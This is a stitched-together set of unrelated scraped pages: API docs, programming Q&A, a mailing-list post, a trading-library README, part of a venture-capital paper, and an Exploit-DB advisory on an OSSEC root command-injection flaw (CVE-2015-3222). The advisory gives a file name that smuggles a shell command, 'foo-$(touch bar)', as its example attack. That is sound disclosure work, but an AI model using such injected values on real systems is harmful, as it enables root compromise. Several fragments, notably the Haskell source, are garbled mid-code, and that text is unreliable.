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NAMECMS_compress - create a CMS CompressedData structure
SYNOPSIS
#include <openssl/cms.h>
CMS_ContentInfo *CMS_compress(BIO *in, int comp_nid, unsigned int flags);
DESCRIPTIONCMS_compress() creates and returns a CMS CompressedData structure. comp_nid is the compression algorithm to use or NID_undef to use the default algorithm (zlib compression). in is the content to be compressed. flags is an optional set of flags.
NOTESTIf().
Additional compression parameters such as the zlib compression level cannot currently be set.
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http://www.yosbits.com/opensonar/rest/man/freebsd/man/en/man3/CMS_compress.3.html?l=en
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I'm trying to extend a rails model from a gem.
Using concern I've been able to extend class methods but I cannot extend associations.
included do
undefined method belongs_to
# mygem/config/initializers/mymodel_extension.rb
require 'active_support/concern'
module MymodelExtension
extend ActiveSupport::Concern
# included do
# belongs_to :another
# end
class_methods do
def swear
return "I'm not doing it again"
end
end
end
class Myengine::Mymodel
include MymodelExtension
end
Myengine::Mymodel.swear
# => "I'm not doing it again"
included do
undefined method 'belongs_to' for Myengine::Mymodel:Class (NoMethodError)
Myengine::Mymodelclass should inherit from
ActiveRecord::Base to have
belongs_to method defined.
ActiveRecord::Base includes bunch of modules, one of which is
Associations, where
belongs_to association is defined.
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https://codedump.io/share/cnEmDhx7iG6c/1/undefined-method-belongsto-usign-rails-concern-why
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DataColumn.Namespace Property
.NET Framework (current version)
Namespace: System.Data
Gets or sets the namespace of the DataColumn.
Assembly: System.Data (in System.Data.dll)
Property ValueType: System.String
The namespace of the DataColumn.
The Namespace property is used when reading and writing an XML document into a DataTable in the DataSet using the ReadXml, WriteXml, ReadXmlSchema, or WriteXmlSchema methods.
The namespace of an XML document is used to scope XML attributes and elements when read into a DataSet. For example, a DataSet contains a schema read from a document that has the namespace "myCompany," and an attempt is made to read data (with the ReadXml method) from a document that has the namespace "theirCompany." Any data that does not correspond to the existing schema will be ignored.
Return to top
.NET Framework
Available since 1.1
Available since 1.1
Show:
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https://msdn.microsoft.com/en-us/library/system.data.datacolumn.namespace.aspx
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On 2/6/07, Philipp von Weitershausen <[EMAIL PROTECTED]> wrote:
An egg should only *depend* on setuptools if it uses things like pkg_resources (e.g. for namespace packages).
Advertising
But there's no need to depend on setuptools for namespace packages generally; that's specific to namespace packages in the presence of zip_safe eggs. This is where I get (somewhat) antsy.
That setuptools are required for *building* an egg goes without question.
That I've never objected to; I don't want to duplicate that functionality. -Fred -- Fred L. Drake, Jr. <fdrake at gmail.com> "Every sin is the result of a collaboration." --Lucius Annaeus Seneca _______________________________________________ Zope3-dev mailing list Zope3-dev@zope.org Unsub:
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https://www.mail-archive.com/zope3-dev@zope.org/msg07602.html
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import java.io.IOException;
Querywould return too many results, this interface is used to stream each query result as it is read from the data store. This interface should not be used unless there is a chance the number of query results are too big to fit into a normal Array or LinkedList.
QueryResult
public interface
QueryResultHandler<QueryResult> {QueryResultHandler<QueryResult> {
void
handle(QueryResult result) throws IOException;handle(QueryResult result) throws IOException;
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http://grepcode.com/file/repo1.maven.org$maven2@com.github.corydoras$base@1.5.beta2@base$QueryResultHandler.java
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Fix for CVE-2015-3222 which allows for root escalation via syscheck - Affected versions: 2.7 - 2.8.1 Beginning is OSSEC 2.7 (d88cf1c9) a feature was added to syscheck, which is the daemon that monitors file changes on a system, called "report_changes". This feature is only available on *NIX systems. It's purpose is to help determine what about a file has changed. The logic to do accomplish this is as follows which can be found in src/syscheck/seechanges.c: 252 /* Run diff */ 253 date_of_change = File_DateofChange(old_location); 254 snprintf(diff_cmd, 2048, "diff \"%s\" \"%s\"> \"%s/local/%s/diff.%d\" " 255 "2>/dev/null", 256 tmp_location, old_location, 257 DIFF_DIR_PATH, filename + 1, (int)date_of_change); 258 if (system(diff_cmd) != 256) { 259 merror("%s: ERROR: Unable to run diff for %s", 260 ARGV0, filename); 261 return (NULL); 262 } Above, on line 258, the system() call is used to shell out to the system's "diff" command. The raw filename is passed in as an argument which presents an attacker with the possibility to run arbitrary code. Since the syscheck daemon runs as the root user so it can inspect any file on the system for changes, any code run using this vulnerability will also be run as the root user. An example attack might be creating a file called "foo-$(touch bar)" which should create another file "bar". Again, this vulnerability exists only on *NIX systems and is contingent on the following criteria: 1. A vulnerable version is in use. 2. The OSSEC agent is configured to use syscheck to monitor the file system for changes. 3. The list of directories monitored by syscheck includes those writable by underprivileged users. 4. The "report_changes" option is enabled for any of those directories. The fix for this is to create temporary trusted file names that symlink back to the original files before calling system() and running the system's "diff" command.
Related ExploitsTrying to match CVEs (1): CVE-2015-3222
Trying to match OSVDBs (1): 123222
Trying to match setup file: c2ffd25180f760e366ab16eeb82ae382
Other Possible E-DB Search Terms: OSSEC 2.7 <= 2.8.1, OSSEC 2.7, OSSEC
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https://www.exploit-db.com/exploits/37265/
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import java.io.IOException;
import java.io.OutputStream;
import javax.ws.rs.core.Application;
import javax.ws.rs.ext.Provider;
or registering an implementing class or instance as a singleton with
javax.ws.rs.ext.Provider
or
com.sun.jersey.api.core.ResourceConfig
.
javax.ws.rs.core.Application
Such view processors could be JSP view processors (supported by the Jersey servlet and filter implementations) or say Freemarker or Velocity view processors (not implemented).
<> the type of the template object.
T
public interface
ViewProcessor<T> {ViewProcessor<T> {
tthe template reference. This is obtained by calling the
method with a template name.method with a template name.
resolve(java.lang.String)
viewablethe viewable that contains the model to be passed to the template.
outthe output stream to write the result of processing the template.
java.io.IOExceptionif there was an error processing the template.
void
writeTo(T t, Viewable viewable, OutputStream out) throws IOException;writeTo(T t, Viewable viewable, OutputStream out) throws IOException;
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http://grepcode.com/file/repo1.maven.org$maven2@com.fasterxml.transistore$transistore-server@0.9.8@com$sun$jersey$spi$template$ViewProcessor.java
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{-# LANGUAGE ExistentialQuantification, EmptyDataDecls #-} {-# DTime = Double {-| Sinks are used when feeding input into peripheral-bound signals. -} type Sink a = a -> IO () {-| An empty type to use as a token for injecting data dependencies. -} data StartToken -- **L s e ss@: latcher that starts out as @s@ and becomes the -- current value of @ss@ at every moment when @e@ is true | SNL (Signal a) (Signal Bool) (Signal (Signal a)) -- | @SNE r@: opaque reference to connect peripherals | SNE (IORef a) -- | @SND s@: the @s@ signal delayed by one superstep | SND a (Signal a) -- | @SNU@: a stream of unique identifiers for each superstep | SNU -- | L s e ss -> age s dt >> age e dt >> age ssL s e ss -> commit s >> commit e >> commit ss@(SNL _ e ss) _ dt = do -- These are ready samples! b <- signalValue e dt s' <- signalValue ss dt if b then return (SNL s' e ss) else return sw advance (SND _ s) _ dt = do x <- signalValue s dt return (SND x s) advance s _ _ = return s {-| Sampling the signal at the current moment. This is where static nodes propagate changes to those they depend on. Transfer functions ('SNT') and latchers ('SNL')L s e ss) dt = do b <- signalValue e dt s' <- signalValue ss dt signalValue (if b then s' else s) dt sample (SNE r) _ = readIORef r sample (SND v _) _ = return v sample (SNU) _ = return undefined (SNL (SNL a delay x0 s = createS = createSignal (SNKA s l) {-|Tokens :: Signal StartToken startTokens = createSignal SNU {-| An operator that ignores its first argument and returns the second, but hides the fact that the first argument is not needed. It is equivalent to @flip const@, but it cannot be inlined. -} {-# NOINLINE (==>) #-} (==>) :: StartToken -> a -> a _ ==> x = x
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http://hackage.haskell.org/package/elerea-0.6.0/docs/src/FRP-Elerea-Internal.html
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java.lang.Object
java.util.logging.ErrorManagerjava.util.logging.ErrorManager
weblogic.logging.WLErrorManagerweblogic.logging.WLErrorManager
public class WLErrorManager
An ErrorManager that handles errors by removing the failing handler from the logger and logging a WLLevel.CRITICAL message. The error manager has a tolerance limit of 5 exceptions that may be reported by the handlers. If the errors exceed this limit, the handler is removed from the Logger. When the handler is removed it no longer gets the publish messages.
public WLErrorManager(Handler handler)
handler- The handler who will report exceptions as it is logging.
public void error(String msg, Exception ex, int code)
errorin class
ErrorManager
msg- Message indicating the details about the error condition.
ex- The exception which is causing the error condition.
code- Numeric identifier which tells the type of error being reported.
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http://docs.oracle.com/cd/E12839_01/apirefs.1111/e13941/weblogic/logging/WLErrorManager.html
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rename proc _proc _proc proc {name argl body} { _proc $name $argl callgraph'report\n$body } #-- This argument-less proc is prefixed to every proc defined with the overloaded command: _proc callgraph'report {} { if [catch {info level -2} res] {set res ""} set ::callgraph([lindex $res 0],[lindex [info level -1] 0]) "" }#--- Testing
proc a {} {b; c } proc b args {d; e} proc c {} {b; d} proc d {} {} proc e {} {} a parray callgraphwhich returns (the values are always "", a key a,b expresses that a called b):
callgraph(,a) = callgraph(,parray) = callgraph(a,b) = callgraph(a,c) = callgraph(b,d) = callgraph(b,e) = callgraph(c,b) = callgraph(c,d) =If there is nothing left of the comma, the procedure was called outside of any proc, i.e. interactively or at script toplevel. Note that parray was also instrumented, because its file was sourced after the overloading of proc. You can do further analyses on the callgraph array, for instance find out all callers of b:
array names callgraph *,bor all procedures that b called:
array names callgraph b,*Another enhancement would be to record the number an edge of the callgraph was traversed, by counting up:
_proc callgraph'report {} { if [catch {info level -2} res] {set res ""} set edge [lindex $res 0],[lindex [info level -1] 0] if [info exists ::callgraph($edge)] { incr ::callgraph($edge) } else {set ::callgraph($edge) 1} }
I used the same idea to generate a history of the procedure calls to stderr - VPT
_proc proc {name arg body} { uplevel [list _proc $name $arg "puts stderr \[string repeat { } \[info level]]$name\n$body"] }The uplevel is needed for commands within namespaces. (Thanks to Ralf Fassel) EvilSon
Here is some code that does Static call graph
Here is another approach to tracing procedure calls ... Pstack. The advantage to this approach is that only the procedures of interest are traced which is helpful when debugging. The output is also indented based on call depth. tjk
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http://wiki.tcl.tk/14471
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PyThalesians
PyThalesians is a Python financial library developed by the Thalesians ( ). I have used the library to develop my own trading strategies and I’ve included simple samples which show some of the functionality including an FX trend following model and other bits of financial analysis.
There are many open source Python libraries for making trading strategies around! However, I’ve developed this one to be as flexible as possible in terms of what types of strategies you can develop with it. In addition, a lot of the library can be used to analyse and plot financial data for broader based analysis, of the type that I’ve had to face being in markets over the years. Hence, it can be used by a wider array of users.
At present the PyThalesians offers:
- Backtesting of systematic trading strategies for cash markets (including cross sectional style trading strategies)
- Sensitivity analysis for systematic trading strategies parameters
- Seamless historic data downloading from Bloomberg (requires licence), Yahoo, Quandl, Dukascopy and other market data sources
- Produces beautiful line plots with PyThalesians wrapper (via Matplotlib), Plotly (via cufflinks) and a simple wrapper for Bokeh
- Analyse seasonality analysis of markets
- Calculates some technical indicators and gives trading signals based on these
- Helper functions built on top of Pandas
- Automatic tweeting of charts
- And much more!
- Please bear in mind at present PyThalesians is currently a highly experimental alpha project and isn’t yet fully documented
- Uses Apache 2.0 licence
Gallery
Below we give some examples of analysis we’ve done with PyThalesians. Some of these can be run by scripts in the examples folder.
Using PyThalesians to create a simple FX trend following strategy (you can run this backtest using cashbacktest_examples.py)
Using PyThalesians to plot & calculate USD/JPY intraday moves around non-farm payrolls over past 10 years
Using PyThalesians to calculate intraday vol in major FX crosses by time of day
Using PyThalesians to create the Thalesians CTA index (trend following), which replicates Newedge CTA index benchmark
Using PyThalesians with Cufflinks (Plotly wrapper) to plot interactive Plotly chart (using plotly_examples.py) – click the below to get to the interactive chart
Using PyThalesians to plot via Bokeh EUR/USD in the 3 hours following FOMC statements
Using PyThalesians to plot combination of bar/line/scatter for recent equity returns (you can run this analysis using bokeh_examples.py)
Using PyThalesians and PyFolio to plot return statistics of FX CTA strategy (you can run this analysis using strategyfxcta_example.py)
Using PyThalesians to plot with Plotly map of USA unemployment rate by state (using FRED data) (you can run this analysis using histecondata_examples.py)
Using PyThalesians to plot G10 CPI YoY rates (using FRED data) (you can run this analysis using histecondata_examples.py)
Using PyThalesians to plot rolling correlatons in FX (using Bloomberg data) (you can run this analysis using correlation_examples.py)
Using PyThalesians to plot seconds data around last NFP (using Bloomberg data) (you can run this analysis using tick_examples.py)
Using PyThalesians to plot AUD/USD total returns from spot & deposit data (comparing with spot and Bloomberg generated total return index) (you can run this analysis using indicesfx_examples.py)
Requirements
PyThalesians has been tested on Windows 8 & 10, running Bloomberg Terminal software. I currently run PyThalesians using Anaconda 2.5 (Python 3.5 64bit) on Windows 10. Potentially, it could also work on the Bloomberg Server API (but I have not explicitly tested this). I have also tried running it on Ubuntu and Mac OS X (excluding Bloomberg API)
Major requirements
- Required: Python 3.4, 3.5
- Required: pandas, matplotlib, numpy etc.
- Recommended: Bloomberg Python Open API
- To use Bloomberg you will need to have a licence
- Use experimental Python 3.4 version from Bloomberg
- Also download C++ version of Bloomberg API and extract into any location
- eg. C:/blp/blpapi_cpp_3.9.10.1
- For Python 3.5 – need to compile blpapi source using Microsoft Visual Studio 2015 yourself
- Install Microsoft Visual Studio 2015 (Community Edition is free)
- Before doing do be sure to add environment variables for the Bloomberg DLL (blpapi3_64.dll) to PATH variable
- eg. C:/blp/blpapi_cpp_3.9.10.1/bin
- Make sure BLPAPI_ROOT root is set as an environmental variable in Windows
- eg. C:/blp/blpapi_cpp_3.9.10.1
- python setup.py build
- python setup.py install
- For Python 3.4 – prebuilt executable can be run, which means we can skip the build steps above
- Might need to tweak registry to avoid "Python 3.4 not found in registry error" (blppython.reg example) when using this executable
- Alternatively to access Bloomberg, the software also supports the old COM API (but I’m going to remove it because very slow)
- Recommended: Plotly for funky interactive plots ( ) and
- Recommended: Cufflinks a nice Plotly wrapper when using Pandas dataframes (Jorge Santos project now supports Python 3 – so I recommend using that rather than my fork)
- Recommended: PyFolio for statistical analysis of trading strategy returns ( )
- Recommended: multiprocessor_on_dill because standard multiprocessing library pickle causes issues (from )
Installation
Once installed please make sure you edit pythalesians.util.constants file for the following variables:
- Change the root path variable – this will ensure that the logging (and a number of other features works correctly). Failure to do so will result in the project not starting
- Change the default Bloomberg settings (Which API to use? What server address to use?)
- Write in API keys for Quandl, Twitter, Plotly etc.
- Latest version can be installed using setup.py or pip (see below)
pip install git+
Examples for PyThalesians
After installation, the easiest way to get started is by looking at the example scripts. I am hoping to add some Jupyter notebooks, illustrating how to use the library too. The example scripts show how to:
- Download market data from many different sources, Bloomberg, Yahoo, Quandl, Dukascopy etc
- Plot line charts, with different styles
About the Thalesians
The Thalesians are a think tank of dedicated professionals with an interest in quantitative finance, economics, mathematics, physics and computer science, not necessarily in that order. We run quant finance events in London, New York, Budapest, Prague and Frankfurt (join our Meetup.com group at ). We also publish research on systematic trading and also consult in the area. One of our clients is RavenPack, a major news analytics vendor.
Major contributors to PyThalesians
- Saeed Amen – Saeed is managing director and co-founder of the Thalesians. He has a decade of experience creating and successfully running systematic trading models at Lehman Brothers and Nomura. Independently, he runs a systematic trading model with proprietary capital. He is the author of Trading Thalesians – What the ancient world can teach us about trading today (Palgrave Macmillan). He graduated with a first class honours master’s degree from Imperial College in Mathematics and Computer Science.
Supporting PyThalesians project
If you find PyThalesians useful (and in particular if you are commercial company) please consider supporting the project through sponsorship or by using our consultancy/research services in systematic trading. If you would like to contribute to the project, also let me know: it’s a big task to try to build up this library on my own!
For the UK election Plot.ly code – please visit
Future Plans for PyThalesians
We plan to add the following features:
- Have a proper setup mechanism (eg. via pip), at present needs (partial) manual deployment
- Add Plotly & Seaborn wrappers for plotting (partially there)
- Improve support for Bokeh plotting (partially)
- Add more plots from Matlibplot
- Add Reuters as a historic data source
- Add ability to stream data from Bloomberg and Reuters
- Use event driven code to generate trading signals (to be used live and historically)
- Add more interesting trading analysis tools
- Add support for live trading via Interactive Brokers
- Integrate support for zipline as an alternative trading system
- Improve support for PyFolio
- Support Python 2.7+
More generally, we want to:
- Make existing code more robust
- Increase documentation and examples
Release Notes
- 0.1a (highly experimental alpha version) – 01 Jul 2015
- Basic implementation of plotting for line charts
- Basic downloading of market data like Bloomberg/Yahoo etc. via generic wrapper
Coding log
- 27 May 2016 – Added ability to plot strategy signal at point in time
- 19 May 2016 – Updated Quandl wrapper to use new Quandl API
- 02 May 2016 – Tidied up BacktestRequest, added SPX seasonality example
- 28 Apr 2016 – Updated cashbacktest (for Pandas 0.18)
- 21 Apr 2016 – Got rid of deprecated Pandas methods in EventStudy
- 18 Apr 2016 – Fixed some incompatibility issues with Pandas 0.18
- 06 Apr 2016 – Added more trade statistics output
- 01 Apr 2016 – Speeded up joining operations, noticeable when fetching high freq time series
- 21 Mar 2016 – Added IPython notebook to demonstrate how to backtest simple FX trend following trading strategy
- 19 Mar 2016 – Tested with Python 3.5 64 bit (Anaconda 2.5 on Windows 10)
- 17 Mar 2016 – Refactored some of graph/time series functions and StrategyTemplate
- 11 Mar 2016 – Fixed warnings in matplotlib 1.5
- 09 Mar 2016 – Added more TradeAnalysis features (for sensitivity analysis of trading strategies)
- 01 Mar 2016 – Added IPython notebook to demonstrate how to download market data and plot
- 27 Feb 2016 – Fixed total returns FX example
- 20 Feb 2016 – Added more parameters for StrategyTemplate
- 13 Feb 2016 – Edited time series filter methods
- 11 Feb 2016 – Added example to plot BoJ interventions against USDJPY spot
- 10 Feb 2016 – Updated project description
- 01 Feb 2016 – Added LightEventsFactory to make it easier to deal with econ data events (stored as HDF5 files)
- 20 Jan 2016 – Added kurtosis measure for trading strategy results, fixed Quandl issue
- 19 Jan 2016 – Changed examples folder name
- 15 Jan 2016 – Added risk on/off FX correlation example
- 05 Jan 2016 – Added total return (spot) indices construction for FX and example
- 26 Dec 2015 – Fixed problem with econ data downloaders
- 24 Dec 2015 – Added datafactory templates for creating custom indicators
- 19 Dec 2015 – Refactored Dukascopy downloader
- 10 Dec 2015 – Various bug fixes
- 22 Nov 2015 – Increased vol targeting features for doing backtesting
- 07 Nov 2015 – Added feature to download tick data from Bloomberg (with example)
- 05 Nov 2015 – Added intraday event study class (and example)
- 02 Nov 2015 – Added easy wrapper for doing rolling correlations (and example)
- 28 Oct 2015 – Added more sensitivity analysis for trading strategies
- 26 Oct 2015 – Various bug fixes for Bloomberg Open API downloader
- 14 Oct 2015 – Added capability to do parallel downloading of market data (thread/multiprocessing library), with an example for benchmarking and bug fixes for Bloomberg downloader
- 25 Sep 2015 – Refactored examples into different folders / more seasonality examples
- 19 Sep 2015 – Added support for Plotly choropleth map plots & easy downloading of economic data via FRED/Bloomberg/Quandl
- 12 Sep 2015 – Added basic support for PyFolio for statistical analysis of strategies
- 04 Sep 2015 – Added StrategyTemplate for backtesting (with example) & bug fixes
- 21 Aug 2015 – Added stacked charts (with matplotlib & bokeh) & several bug fixes
- 15 Aug 2015 – Added bar charts (with matplotlib & bokeh) & added more time series filter functions
- 09 Aug 2015 – Improved Bokeh support
- 07 Aug 2015 – Added Plotly support (via Jorge Santos Cufflinks wrapper)
- 04 Aug 2015 – Added ability to download from FRED and example for downloading from FRED.
- 29 Jul 2015 – Added backtesting functions (including simple FX trend following strategy) and various bug fixes/comments.
- 24 Jul 2015 – Added functions for doing simple seasonality studies and added examples.
- 17 Jul 2015 – Created example to show how to use technical indicators.
- 13 Jul 2015 – Changed location of conf, renamed examples folder to pythalesians_examples. Can now be installed using setup.py.
- 10 Jul 2015 – Added ability to download Dukascopy FX tick data (data is free for personal use – check Dukascopy terms & conditions). Note that past month of data is generally not made available by Dukascopy
End ofyThalesians: Python Open Source Financial Library
评论 抢沙发
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http://www.shellsec.com/news/23164.html
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How to: Specify a Client Binding in Configuration
In this example, a client console application is created to use a calculator service, and the binding for that client is specified declaratively in configuration. The client accesses the CalculatorService, which implements the ICalculator interface, and both the service and the client use the BasicHttpBinding class.
The procedure outlined assumes that the calculator service is running. For information about how to build the service, see How to: Specify a Service Binding in Configuration. It also uses the ServiceModel Metadata Utility Tool (Svcutil.exe) that Windows Communication Foundation (WCF) provides to automatically generate the client components. The tool generates the client code and configuration for accessing the service.
The client is built in two parts. Svcutil.exe generates the ClientCalculator that implements the ICalculator interface. This client application is then constructed by constructing an instance of ClientCalculator..
You can perform all of the following configuration steps by using the Configuration Editor Tool (SvcConfigEditor.exe).
For the source copy of this example, see the BasicBinding sample.
Specifying a client binding in configuration
Svcutil.exe also generates the configuration for the client that uses the BasicHttpBinding class. When using Visual Studio, name this file App.config. Note that the address and binding information are not specified anywhere inside the implementation of the service. Also, code does not have to be written to retrieve that information from the configuration file.
Create an instance of the ClientCalculator in an application, and then call the service operations.
using System; using System.ServiceModel; namespace Microsoft.ServiceModel.Samples { /.
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https://msdn.microsoft.com/en-us/library/ms731144.aspx
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EDIT: This is not about fat arrows. It's also not about passing this to an IIFE. It's a transpiler-related question.
So I've created a simple pub-sub for a little app I'm working on. I wrote it in ES6 to use spread/rest and save some headaches. I set it up with npm and gulp to transpile it but it's driving me crazy.
I made it a browser library but realized it could be used anywhere so I decided to make it Commonjs and AMD compatible.
Here's a trimmed down version of my code:
(function(root, factory) {
if(typeof define === 'function' && define.amd) {
define([], function() {
return (root.simplePubSub = factory())
});
} else if(typeof module === 'object' && module.exports) {
module.exports = (root.simplePubSub = factory())
} else {
root.simplePubSub = root.SPS = factory()
}
}(this, function() {
// return SimplePubSub
});
}(undefined, function() {
}((window || module || {}), function() {
ES6 code has two processing modes:
<script>, or any other standard ES5 way of loading a file
When using Babel 6 and
babel-preset-es2015 (or Babel 5), Babel by default assumes that files it processes are ES6 modules. The thing that is causing you trouble is that in an ES6 module,
this is
undefined, whereas in the "script" case,
this varies depending on the environment, like
window in a browser script or
exports in CommonJS code.
If you are using Babel, the easiest option is to write your code without the UMD wrapper, and then bundle your file using something like Browserify to automatically add the UMD wrapper for you. Babel also provides a
babel-plugin-transform-es2015-modules-umd. Both are geared toward simplicity, so if you want a customized UMD approach, they may not be for you.
Alternatively, you would need to explicitly list all of the Babel plugins in babel-preset-es2015, making sure to exclude the module-processing
babel-plugin-transform-es2015-modules-commonjs plugin. Note, this will also stop the automatic addition of
use strict since that is part of the ES6 spec too, you may want to add back
babel-plugin-transform-strict-mode to keep your code strict automatically.
As mentioned in the comments, there are a few community presets that now do this for you. I'd probably recommend
babel-preset-es2015-webpack or
babel-preset-es2015-script, both of which are
es2015 without
transform-es2015-modules-commonjs included.
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Do we really understand the Drivers of New Venture Success?
Discussion Paper By John Cavill, Intermezzo Ventures Ltd
Research Sponsored by the Enterprise Hub Network
The Enterprise Hub Network is a SEEDA-backed network focused on helping entrepreneurial individuals and organisations bring highly pioneering and distinctive ideas to market across a range of sectors.
GROWTH ENTREPRENEURSHIP: Do we really understand the drivers of new venture success?
“Nearly every mistake I’ve made has been in picking the wrong people, not the wrong idea”
Arthur Rock, pioneering venture capitalist
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Contents
About the Author ..................................................................................iv Abstract ................................................................................................ v
Chapter 1: The Venture Capital Industry.................................................. 1
The Importance of Venture Capitalists................................................. 1 The Role of Business Angels ............................................................... 2 The VC Investment Decision Process.................................................. 3
The Business Plan ........................................................................................ 4 Screening Investment Opportunities ............................................................. 6 Methods of Human Capital Valuation............................................................ 7
Venture Performance Criteria .............................................................. 8
Chapter 2: Growth Entrepreneurship ..................................................... 11
Attributes of Entrepreneurs ................................................................ 11 Growth Entrepreneurs ........................................................................ 13
Founder Competences and Experience...................................................... 13 Entrepreneurial Personality Types .............................................................. 15 Lead Entrepreneurs .................................................................................... 16 Technology-Based Entrepreneurs .............................................................. 16
Measures of Success ......................................................................... 18
Entrepreneurial Teams ............................................................................... 19 Team Demographics................................................................................... 20 Team Member Diversity.............................................................................. 20 Team Conflict and Cohesion....................................................................... 21 Team Size................................................................................................... 21
Intellectual and Social Capital ............................................................ 22 Personal Networks ............................................................................. 22 Investment Decision Framework........................................................ 23
Chapter 3: Summary and Discussion..................................................... 25
The Equity Gap .................................................................................. 25 Emerging links to Entrepreneurial Orientation ................................... 26
Emotional Intelligence................................................................................. 26 Dyslexia ...................................................................................................... 27 Biological Factors........................................................................................ 27
The Need for Further Research ......................................................... 28 Entrepreneurship in South East England ........................................... 28 GEM Reports...................................................................................... 29 Conclusions........................................................................................ 30
References ............................................................................. 33
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Illustrations
List of Figures
Figure 1. Model of Business Angel Interaction ..................................... 3 Figure 2. Venture Capital Investment Decision Criteria ........................ 4 Figure 3. Defining the Entrepreneur.................................................... 12 Figure 4. Enhanced Value Creation Performance Model ................... 18 Figure 5. A Framework of VC/BA Investment Decision Criterion based on academic studies .............................................…23 Figure 6. The Impact of Emotional Intelligence on Success ............... 26
List of Tables
Table 1. Valuation Activities Carried Out by Venture Capitalists .......... 5 Table 2. Stages in the Business Angel's Investment Decision ............. 6 Table 3. Type and Background of Technical Entrepreneurs............... 17 Table 4. Distribution of Companies and Investment by Region.......... 29
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About the Author
John Cavill MA, ADipC, CDir, FIoD, FCIM Following early career experience in electronic engineering, sales and marketing and the IT industry, John founded Logical Networks plc, a UK networking services business funded by 3iplc. In 1997 the company was acquired by Datatec Ltd (a Johannesburg Stock Exchange Top 40 public company) having achieved annual sales of £50 million and around 200 staff, after nine years with a CAGR of over 55%. John subsequently became a main Board director with responsibility for European acquisitions and business development. In June 2000 John left Datatec to found Intermezzo Ventures Ltd, a new venture research and consulting company. John is currently chairman and lead investor in Creating Careers Ltd, the U.K. market leader in online learning solutions for Further Education. He is also a SEEDA Merlin Mentor and High Growth Coach. John holds an MA in Company Direction from Leeds Metropolitan University and is a Visiting Fellow at Henley Management College, where he is conducting doctoral research into the Characteristics of Entrepreneurial Teams. John is’. The author can be contacted at: Intermezzo Ventures Ltd. Winkfield Lodge, Winkfield, Berks SL4 2EG U.K. Tel. 01344 887877 / Fax. 01344 887879 Email. john.cavill@intermezzo-ventures.com
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Abstract
Given the importance of entrepreneurial activities for economic growth, wealth creation and technological progress, numerous academic studies have soug to understand more fully the drivers of new venture success. This paper reviews the literature on two key aspects of entrepreneurial activity with the aim of stimulating a debate between regional development agencies, venture capitalists, business angels, business service providers, educationalists and entrepreneurs. Chapter One reviews the literature on the venture capital industry, with particular focus on the investment decision making process adopted by venture capitalists and business angels. The literature highlights the importance of entrepreneurial teams to raising equity finance, which is readily acknowledged by these sources. However, the literature also suggests that both formal and informal sources of equity finance could improve their return on investment by developing a better understanding of the characteristics of entrepreneurs and by making more use of ‘decision tools’. Chapter Two reviews the literature on the various attributes of successful entrepreneurs. Particular focus is given to the experience and personality of lead entrepreneurs, and the characteristics of their top management teams in terms of their composition and interaction. Various measures of new venture potential are also considered. A suggested framework is then provided based on the numerous variables that have been found to influence venture capitalists’ or business angel’s investment decision. Chapter Three summaries the overall findings of the literature review and includes discussion on the nature of the perceived ‘equity’ gap’, and the suggestion that the entrepreneur of the 21st Century may well be defined by emotional intelligence. More recent exploratory research also covered may go towards solving the ‘nature versus nurture’ debate, as links have now been found between entrepreneurial orientation and dyslexia, as well as DNA.
This paper was especially commissioned by SEEDA (South East Economic Development Agency) and presented at the SEEDA Enterprise Hub Network Showcase Event in London on 22nd February, 2007.
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Chapter 1: The Venture Capital Industry
This chapter reviews the literature on the venture capital industry with particular focus on the investment decision making process adopted by venture capitalists (formal investors) and business angels (informal investors). Particular attention is paid to their assessment of human capital and potential decision tools.
The U.K. accounts for almost half of all European equity investments
The U.K. venture capital industry1 was established as a formally distinct industry during the latter part of the 1970s (Yli-Renko and Hay, 1999) to become the second largest in the world (behind the U.S.), accounting for almost half of all European private equity investments (Urbas, 2002). The industry has four main players: entrepreneurs who need funding; investors who want high returns; investment bankers who need companies to sell; and the VCs who make money for themselves by making a market for the other three (Zider, 1998). Venture capital is broadly defined as capital which is not secured by assets and is invested in or loaned to a company by an outside investor. It is often referred to as risk capital since it is not only unsecured, but generally lacks liquidity as well (Bachher and Guild, 1996). Venture capital companies can be differentiated by their source of funds; either via private funds (e.g. coming from financial institutions, institutional investors, large companies and private individuals) or government funds (Manigart et al., 2002). However, in recent years the supply of start-up and early stage equity finance has become more dependant on business angels, as venture capital funds are no longer able to accommodate a large number of small deals with heavy due diligence requirements (European Commission, 2002).
The Importance of Venture Capitalists
VCs are responsible for screening investment opportunities. And after evaluating a selected few, which conform to their funding guidelines, present a summarised investment proposal to the Venture Capital Firm’s (VCF’s) board for approval (Bachher and Guild, 1996). The major constraint on VCFs is operational. A maximum number of investments a VC can manage at any one time is around six, and appropriate investment
1
To avoid any confusion between the academic literature published in the USA and Europe, the term “venture capital” is used throughout this paper to describe the seed and expansion stages of investment. However, it should be noted that the term ”private equity” is also used to describe medium to long-term finance provided in return for an equity stake in potentially high growth unquoted companies. Some commentators use the term “private equity” to refer only to the buy-out and buy-in investment sector. Others, in Europe but not the USA, use the term “venture capital” to cover all stages, i.e. synonymous with “private equity”. In the USA “venture capital” refers only to investments in early stage and expanding companies. See - BVCA (2004). A Guide to Private Equity. London: British Venture Capital Association. Available from:
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fees must be generated to support each VC and their administrative overheads (Golis, 1998). VCs differ in the screening criteria used to guide their investments (Tyebjee and Bruno, 1984). However, although VCs think they know the “right” cues for predicting the outcome of a venture opportunity, prior research indicates the results of their decisions are poor, as eighty percent of the companies VCs invest in generate only twenty percent of the total benefit to the fund (Zider, 1998). While corporations minimise risk by limiting investments to one or two opportunities at a time; venture capital firms (VCFs) minimise risk by investing in a portfolio of businesses and anticipate that 15-20% will be blockbusters, 25-25% will be winners, 25-30% will break even, and 15-25% will fail (Laurie, 2001).
The Role of Business Angels
The trend in the institutional venture capital industry towards investing in larger and later stage deals, at the expense of the smaller early-stage investment has become evident in recent years (Harrison and Mason, 2000), due largely to the amount of money that has been flowing into the industry. This has resulted in larger VCFs, which in turn has driven up the minimum size of investment that they are willing to make at each stage of investment. This ‘equity gap’, considered to be between £250,000 and £1m is now been filled by the informal venture capital market (HM Treasury/Small Business Service, 2003), which supplies smaller amounts of funding for companies at their seed, start-up and early stages of growth (Mason and Harrison, 1996; van Osnabrugge, 2000). The informal venture capital market comprises of high net worth individuals, more commonly known as Business Angels, who provide this important source of finance for new and growing businesses, filling the gap between founders, family and friends and institutional VC funds (Mason and Harrison, 2000). Most business angels (BAs) are value-added investors, contributing their commercial skills, entrepreneurial experience, business know-how and contacts, through a variety of hands-on roles including consulting help, and a seat on the board. They also prefer to invest ‘close to home’ and to syndicate with other private investors. Business angels typically have a portfolio of two to five investments, which in total comprise of 5% to 15% of their overall investment portfolio (Mason, 2006a). On average, BAs 